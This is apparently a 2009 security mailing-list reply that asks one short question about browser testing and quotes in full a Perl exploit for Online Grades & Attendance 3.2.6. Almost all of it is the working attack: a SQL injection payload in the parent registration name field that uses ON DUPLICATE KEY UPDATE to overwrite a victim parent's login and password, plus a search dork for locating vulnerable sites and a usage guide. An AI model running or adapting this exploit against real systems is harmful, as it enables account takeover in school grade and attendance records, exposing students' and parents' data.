Re: (Post Form --> Parent Register (name)) Credentials Changer (SQLi) EXPLOIT -- Online Grades & Attendance v-3.2.6-->

[Jeremy Brown <0xjbrown41 () gmail com>]

Why do you include "TESTED ON: firefox 3"? Would you not be able to
trigger this bug using other browsers?

On Sun, May 31, 2009 at 8:53 PM,  <y3nh4ck3r () gmail com> wrote:
> #!/usr/bin/perl
> #-------------------------------------------------------------------------------------------------------------------
> #(Post Form --> Parent Register (name)) Credentials Changer (SQLi) EXPLOIT -- Online Grades & Attendance v-3.2.6-->
> #-------------------------------------------------------------------------------------------------------------------
> #
> #CMS INFORMATION:
> #
> #-->WEB: http://www.onlinegrades.org/
> #-->DOWNLOAD: http://www.onlinegrades.org/
> #-->DEMO: http://www.onlinegrades.org/demo_info
> #-->CATEGORY: CMS / Education
> #-->DESCRIPTION: Online Grades is based on the project, Basmati. It has all of the same
> #               features plus many new features. OG is a web based grade...
> #-->RELEASED: 2009-02-05
> #
> #CMS VULNERABILITY:
> #
> #-->TESTED ON: firefox 3
> #-->DORK: "Powered by Online Grades"
> #-->CATEGORY: SQL INJECTION
> #-->AFFECT VERSION: <= 3.2.6
> #-->Discovered Bug date: 2009-05-21
> #-->Reported Bug date: 2009-05-21
> #-->Fixed bug date: Not fixed
> #-->Info patch: Not fixed
> #-->Author: YEnH4ckEr
> #-->mail: y3nh4ck3r[at]gmail[dot]com
> #-->WEB/BLOG: N/A
> #-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
> #-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
> #
> #
> #------------
> #CONDITIONS:
> #------------
> #
> #gpc_magic_quotes=OFF
> #
> #-----------------
> #PRE-REQUIREMENTS
> #-----------------
> #
> #Option --> Self Registration --> Allowed (Default value)
> #
> #-------
> #NEED:
> #-------
> #
> #Valid parent id
> #
> #---------------------------------------
> #PROOF OF CONCEPT (SQL INJECTION):
> #---------------------------------------
> #
> #Register module (name) is vuln to sql injection.
> #
> #Full name --> y3nh4ck3r', id=1 ON DUPLICATE KEY UPDATE client_id='owned'#
> #
> #Other parameters --> something
> #
> #
> #Return: Change client_id to 'owned' for parent id=1
> #
> #
> #######################################################################
> #######################################################################
> ##*******************************************************************##
> ##  SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 ...  ##
> ##*******************************************************************##
> ##-------------------------------------------------------------------##
> ##*******************************************************************##
> ##              GREETZ TO: SPANISH H4ck3Rs community!                ##
> ##*******************************************************************##
> #######################################################################
> #######################################################################
> #
> #
> use LWP::UserAgent;
> use HTTP::Request;
> #Subroutines
> sub lw
> {
>        my $SO = $^O;
>        my $linux = "";
>        if (index(lc($SO),"win")!=-1){
>                $linux="0";
>        }else{
>                $linux="1";
>        }
>        if($linux){
>                system("clear");
>        }
>        else{
>                system("cls");
>                system ("title Online Grades Attendance v-3.2.6 (Credentials changer) Exploit");
>                system ("color 02");
>        }
> }
> sub request {
>        my $userag = LWP::UserAgent->new;
>        $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
>        if($_[2] eq "post"){
>                $request = HTTP::Request -> new(POST => $_[0]);
>                $request->referer($_[0]);
>                $request->content_type('application/x-www-form-urlencoded');
>                $request->content($_[1]);
>        }else{
>                $request = HTTP::Request -> new(GET => $_[0]);
>        }
>        my $outcode= $userag->request($request)->as_string;
>        return $outcode;
> }
> sub error {
> print "\t------------------------------------------------------------\n";
>        print "\tWeb isn't vulnerable!\n\n";
>        print "\t--->Maybe:\n\n";
>        print "\t\t1.-Patched.\n";
>        print "\t\t2.-Bad path or host.\n";
>        print "\t\tEXPLOIT FAILED!\n";
>        print "\t------------------------------------------------------------\n";
> }
> sub errormagicquotes {
> print "\t------------------------------------------------------------\n";
>        print "\tWeb isn't vulnerable!\n\n";
>        print "\t\tRaison--> Magic quotes ON.\n";
>        print "\t\tEXPLOIT FAILED!\n";
>        print "\t------------------------------------------------------------\n";
> }
> sub helper {
>        print "\n\t[!!!] Online Grades & Attendance <= v-3.2.6 (Credentials changer) Exploit\n";
>        print "\t[!!!] USAGE MODE: [!!!]\n";
>        print "\t[!!!] perl $0 [HOST] [PATH] [Email Address] [Password] [Target_id]\n";
>        print "\t[!!!] [HOST]: Web.\n";
>        print "\t[!!!] [PATH]: Home Path.\n";
>        print "\t[!!!] [Email Address]: Set value\n";
>        print "\t[!!!] [Password]: Set value\n";
>        print "\t[!!!] [Target_id]: victim id\n";
>        print "\t[!!!] Example: perl $0 'www.onlinegrades.org' 'demo' 'y3nh4ck3r' 'y3nh4ck3r' '1' \n";
> }
> #Main
> &lw;
> print "\t#######################################################\n\n";
> print "\t#######################################################\n\n";
> print "\t##        Online Grades & Attendance <= v-3.2.6      ##\n\n";
> print "\t##           (Credentials changer) Exploit           ##\n\n";
> print "\t##         ++Conditions: magic_quotes=OFF            ##\n\n";
> print "\t##         ++Needed: Valid parent id                 ##\n\n";
> print "\t##               Author: Y3nh4ck3r                   ##\n\n";
> print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n";
> print "\t##            Proud to be Spanish!                   ##\n\n";
> print "\t#######################################################\n\n";
> print "\t#######################################################\n\n";
> #Init variables
> my $host=$ARGV[0];
> my $path=$ARGV[1];
> my $client_id=$ARGV[2];
> my $client_pw=$ARGV[3];
> $numArgs = $#ARGV + 1;
> if($numArgs<=3)
>        {
>                &helper;
>                exit(1);
>        }
>        if(!$ARGV[4]){
>                $target_id=1;
>        }else{
>                $target_id=$ARGV[4];
>        }
>
> #Build uri
> my $finalhost="http://".$host."/".$path."/parents/register.php?action=register";;
> my $phpinfo="http://".$host."/".$path."/include/phpinfo.php";;
> #sql injection
> $injection="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE client_id='".$values."'#";
> $post="name=".$injection."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4ck3r&pass2=y3nh4ck3r";
> $output=&request($phpinfo,0,'get');
> if($output=~(/\<tr\>\<td class\=\"e\">magic\_quotes\_gpc\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<td 
> class\=\"v\"\>On\<\/td\>\<\/tr\>/)){
>        &errormagicquotes;
>        exit(1);
> }
> $injection_email="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE client_id='".$client_id."'#";
> $post="name=".$injection_email."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4ck3r&pass2=y3nh4ck3r";
> $output=&request($finalhost, $post, 'post');
> $injection_pw="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE client_pw='".$client_pw."'#";
> $post="name=".$injection_pw."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4ck3r&pass2=y3nh4ck3r";
> $output=&request($finalhost, $post, 'post');
> #processed
> if($output!~(/\<strong\>ERROR\<\/strong\>/))
> {
>                print "\n\t-----------------------------------------------------------------\n";
>                print "\t--  EXPLOIT EXECUTED (Online Grades & Attendance <= v-3.2.6)   --\n";
>                print "\t--                  (Credentials changer) Exploit              --\n";
>                print "\t-----------------------------------------------------------------\n\n";
>                print "\t\tParent credentials changed!\n\n";
>                print "\t\tIf id doesn't exist, you add a new inconsistent user!\n\n";
>                print "\n\t<<<<<<----------------------FINISH!---------------->>>>>>>>\n\n";
>                print "\t<<<<<<--------------Thanks to: y3hn4ck3r------------>>>>>>>\n\n";
>                print "\t<<<<<<-----------------------EOF-------------------->>>>>>>\n\n";
> }else{
>        &error;
> }
> exit(1);
> #Ok...all job done